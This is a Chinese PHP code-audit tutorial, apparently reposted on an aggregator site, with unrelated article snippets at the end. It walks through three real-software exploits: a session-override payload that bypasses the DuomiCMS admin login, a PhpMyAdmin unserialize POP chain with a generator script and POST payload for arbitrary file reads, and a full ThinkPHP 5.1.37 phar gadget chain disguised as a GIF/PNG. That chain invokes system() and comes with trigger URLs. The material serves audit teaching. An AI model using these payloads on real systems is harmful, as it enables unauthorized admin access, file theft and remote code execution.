代码审计-PHP模型开发篇动态调试反序列化变量覆盖TP框架原生POP链

知识点

1、PHP审计-动态调试-变量覆盖
2、PHP审计-动态调试-原生反序列化
3、PHP审计-动态调试-框架反序列化

PHP常见漏洞关键字

SQL注入:
select insert update  delete mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等 
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()

通用关键字

$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER

一、演示案例-PHP审计-动态调试-原生变量覆盖-DuomiCMS

在这里插入图片描述
搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql

1、找到一个配置common.php(搜$$)

在这里插入图片描述
在这里插入图片描述

2、找一个利用点(后台登录点覆盖session)

login.php->checkuser()->keepUser()

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、动态调试获取保持登录当前的session

在这里插入图片描述
在这里插入图片描述

4、找一个能将session覆盖的地方(session_start函数调用)

-session_start函数调用

在这里插入图片描述
在这里插入图片描述

5、session覆盖进后台

_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-PHP审计-动态调试-原生反序列化-PhpMyAdmin

搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql
自动审计或搜索关键字找到文件及代码段

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

1、搜unserialize找入口

/scripts/setup.php
$configuration = unserialize($_POST['configuration']);

在这里插入图片描述

2、找直接调用魔术方法__wakeup()

在这里插入图片描述

libraries/common.lib.php
触发:$_SESSION['PMA_Config']->__wakeup();libraries/Config.class.php
触发:$this->load($this->getSource());

3、跟踪load和getSource实现

getSource:获取变量source

在这里插入图片描述
在这里插入图片描述

loade:eval执行file_get_contents

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、构造pop链发包触发文件读取

<?php
class PMA_Config{
var $source = 'd:/1.txt';
}$p=new PMA_Config();
echo serialize($p);
?>

在这里插入图片描述
触发:

Post:/scripts/setup.php
action=xiaodi&configuration=O:10:"PMA_Config":1:{s:6:"source",s:8:"d:/1.txt";}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
反序列化本身并不是一个漏洞,而是通过反序列化调用到了其他漏洞函数从而利用反序列化执行例如RCE、文件读取等效果。

5、动态调试下断点看POP链

断点:$configuration = unserialize($_POST['configuration']);

在这里插入图片描述
在这里插入图片描述

三、演示案例-PHP审计-动态调试-框架反序列化-KiteCMS

搭建环境:Phpstudy2018+Php7.0+Apache+Mysql

1、源码目录分析采用TP框架开发

在这里插入图片描述

2、获取TP框架对应版本和漏洞情况

const VERSION = '5.1.37 LTS';

3、使用PHPGGC模版生成Phar文件

参考:https://www.cnblogs.com/zzjdbk/p/13030571.html
在这里插入图片描述

/phpggc-master/gadgetchains/ThinkPHP/RCE/1
调用链:gadgets.php
触发生成:chain.php

在这里插入图片描述
phar利用条件

phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
注意:将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

在这里插入图片描述

xiaodi.php
<?php
namespace think\process\pipes {class Windows{private $files;public function __construct($files){$this->files = array($files);}}
}
namespace think\model\concern {trait Conversion{protected $append = array("smi1e" => "1");}trait Attribute{private $data;private $withAttr = array("smi1e" => "system");public function get(){$this->data = array("smi1e" => "notepad");}}
}
namespace think {abstract class Model{use model\concern\Attribute;use model\concern\Conversion;}
}
namespace think\model{use think\Model;class Pivot extends Model{public function __construct(){$this->get();}}
}
namespace {$conver = new think\model\Pivot();$a = new think\process\pipes\Windows($conver);$phar = new Phar('xiaodi.phar');$phar -> stopBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$phar -> addFromString('test.txt','test');$phar -> setMetadata($a);$phar -> stopBuffering();
}
?>

在这里插入图片描述
在这里插入图片描述

4、找个上传文件地方后上传xiaodi.png

在这里插入图片描述
在这里插入图片描述

5、找加载文件地方(搜is_dir)

admin/controller/Admin.php
scanFiles、scanFilesForTree

在这里插入图片描述
在这里插入图片描述

6.在使用phar触发png 的pop链

http://192.168.1.148/admin/admin/scanFiles?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.pnghttp://192.168.1.148/admin/admin/scanFilesForTree?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/9510.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ArcGIS如何计算地级市间的距离

一、数据准备 加载配套实验数据包中的地级市和行政区划矢量数据(订阅专栏后,从私信查收数据),如下图所示: 二、计算距离 1. 计算邻近表 ArcGIS提供了计算点和另外点之间距离的工具:分析工具→邻域分析→生成临近表。 计算一个或多个要素类或图层中的要素间距离和其他邻…

Spark云计算平台Databricks使用,第一个scala程序

1) 创建Spark计算集群 Spark云计算平台Databricks使用&#xff0c;创建workspace和cluster-CSDN博客 2) 创建notebook Workspace -> Users&#xff0c;选择用户&#xff0c;点击Create -> Notebook 选择集群&#xff0c;可以修改notebook名字 修改了notebook名字 选择S…

鸢尾花分类-pytorch实现

前言 本文用pytorch实现了鸢尾花分类&#xff0c;数据不多&#xff0c;只做代码展示用&#xff0c;后续有升级版本。 代码 -*- coding: utf-8 -*- File : main.py Author: Shanmh Time : 2024/05/06 上午9:37 Function&#xff1a;import torch from sklearn import datase…

【Spring】Spring 整合 Junit、MyBatis

一、 Spring 整合 Junit <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache…

Sql Server 2016数据库定时备份

一、 配置备份计划任务 选中“维护计划“--右键--“维护计划向导” 完成

遥控挖掘机之ESP8266调试心得(1)

ESP8266调试心得 1. 前言2.遇到的问题2.1 ESP8266模块建立TCP连接时候报错2.2 指令异常问题 3. 更新ESP8266固件3. ESP8266的部分AT指令3. 连接步骤3.1 模块与电脑连接3.2.1 电脑上的设置3.2.2 ESP8266模块作为客户机&#xff08;TCP Cilent&#xff09;的设置步骤 3.2 模块与模…

从开发角度理解漏洞成因(02)

文章目录 文件上传类需求文件上传漏洞 文件下载类需求文件下载漏洞 扩展 留言板类&#xff08;XSS漏洞&#xff09;需求XSS漏洞 登录类需求cookie伪造漏洞万能密码登录 持续更新中… 文章中代码资源已上传资源&#xff0c;如需要打包好的请点击PHP开发漏洞环境&#xff08;SQL注…

贝塞尔曲线 java

参考文章&#xff1a; 理解贝塞尔曲线https://blog.csdn.net/weixin_42301220/article/details/125167672 代码实现参考 https://blog.csdn.net/yinhun2012/article/details/118653732 贝塞尔 一二三阶java代码实现,N阶段可以通过降阶递归实现 public class Test extends JPan…

java选择结构语句

文章目录 Java选择结构语句的几种形式1. **if 单选择结构**:2. **if-else 双选择结构**:3. **if-else if 多选择结构**:4. **switch 选择结构**: Java 12及更高版本的Switch Expressions返回值的Switch表达式yield关键字使用Switch作为语句或表达式 Pattern Matching for insta…

Final Draft 12 for Mac:高效专业剧本创作软件

对于剧本创作者来说&#xff0c;一款高效、专业的写作工具是不可或缺的。Final Draft 12 for Mac就是这样一款完美的选择。这款专为Mac用户设计的剧本创作软件&#xff0c;凭借其卓越的性能和丰富的功能&#xff0c;让您的剧本创作更加得心应手。 Final Draft 12支持多种剧本格…

【C++】CentOS环境搭建-编译安装Boost库(附CMAKE编译文件)

【C】环境搭建-编译安装Boost库 Boost库简介Boost库安装通过YUM安装&#xff08;版本较低 V1.53.0&#xff09;通过编译安装&#xff08;官网最新版本1.85.0&#xff09;1.安装相关依赖2.查询官网下载最新安装包并解压3.编译Boost4.安装Boost库到系统路径 Boost库验证 Boost库简…

(22.12.20)matlab2022+yalmip+cplex安装教程,win11 x64

前言 Hi,你好&#xff01;最近刚刚更换新的电脑设备&#xff0c;安装软件时尽量选择最新版本&#xff0c;但也遇到了大大小小的安装问题&#xff0c;这里把踩到的坑一并总结出来&#xff0c;给出一份还算合理的MATLAByalmipCPLEX安装教程&#xff08;win11&#xff09;。 MAT…

从零入门激光SLAM(十三)——LeGo-LOAM源码超详细解析4

大家好呀&#xff0c;我是一个SLAM方向的在读博士&#xff0c;深知SLAM学习过程一路走来的坎坷&#xff0c;也十分感谢各位大佬的优质文章和源码。随着知识的越来越多&#xff0c;越来越细&#xff0c;我准备整理一个自己的激光SLAM学习笔记专栏&#xff0c;从0带大家快速上手激…

OBS插件--视频回放

视频回放 视频回放是一款源插件&#xff0c;它可以将指定源的视频缓存一段时间&#xff08;时间可以设定&#xff09;&#xff0c;将缓存中的视频添加到当前场景中后&#xff0c;可以快速或慢速不限次数的回放。这个功能在类似体育比赛的直播中非常有用&#xff0c;可以捕获指…

【快讯】山东省第四批软件产业高质量发展重点项目开始申报

为加快落实《山东省高端软件“铸魂”工程实施方案&#xff08;2023-2025&#xff09;》&#xff0c;提高软件产业规模能级&#xff0c;提升关键软件技术创新和供给能力&#xff0c;塑强数字经济发展核心竞争力&#xff0c;确定开展第四批软件产业高质量发展重点项目申报工作&am…

CTF-Web Exploitation(持续更新)

CTF-Web Exploitation 1. GET aHEAD Find the flag being held on this server to get ahead of the competition Hints Check out tools like Burpsuite to modify your requests and look at the responses 根据提示使用不同的请求方式得到response可能会得到结果 使用…

如何通过汽车制造供应商协同平台,提高供应链的效率与稳定性?

汽车制造供应商协同是指在汽车制造过程中&#xff0c;整车制造商与其零部件供应商之间建立的一种紧密合作的关系。这种协同关系旨在优化整个供应链的效率&#xff0c;降低成本&#xff0c;提高产品质量&#xff0c;加快创新速度&#xff0c;并最终提升整个汽车产业的竞争力。以…

面试笔记——JVM组成

基本介绍 JVM: Java Virtual Machine Java程序的运行环境&#xff08;java二进制字节码的运行环境&#xff09; 使用JVM的好处&#xff1a; 一次编写&#xff0c;到处运行自动内存管理&#xff0c;垃圾回收机制 JVM的组成及运行流程&#xff1a; 程序计数器 程序计数器&a…

Zabbix5.0——安装与部署

目录 一、zabbix-server(192.168.206.134) 监控方 1. 环境准备 2.安装zabbix 2.1 准备zabbix-repo 2.2清理缓存 2.3安装zabbix主包&#xff08;服务器和代理&#xff09; 2.4安装zabbix前端包 3. 数据库安装 3.1 授权zabbix账号 3.2导入数据库&#xff08;初始化zabbix&#x…

人工智能驱动的设计工具的兴起:彻底改变创意产业

人工智能驱动的设计工具的兴起&#xff1a;彻底改变创意产业 概述 人工智能 (AI) 正在改变创意产业&#xff0c;设计也不例外。人工智能驱动的设计工具正在彻底改变设计师的工作方式&#xff0c;提供无与伦比的效率、创造力和创新水平。从生成图像和设计到自动化日常任务&…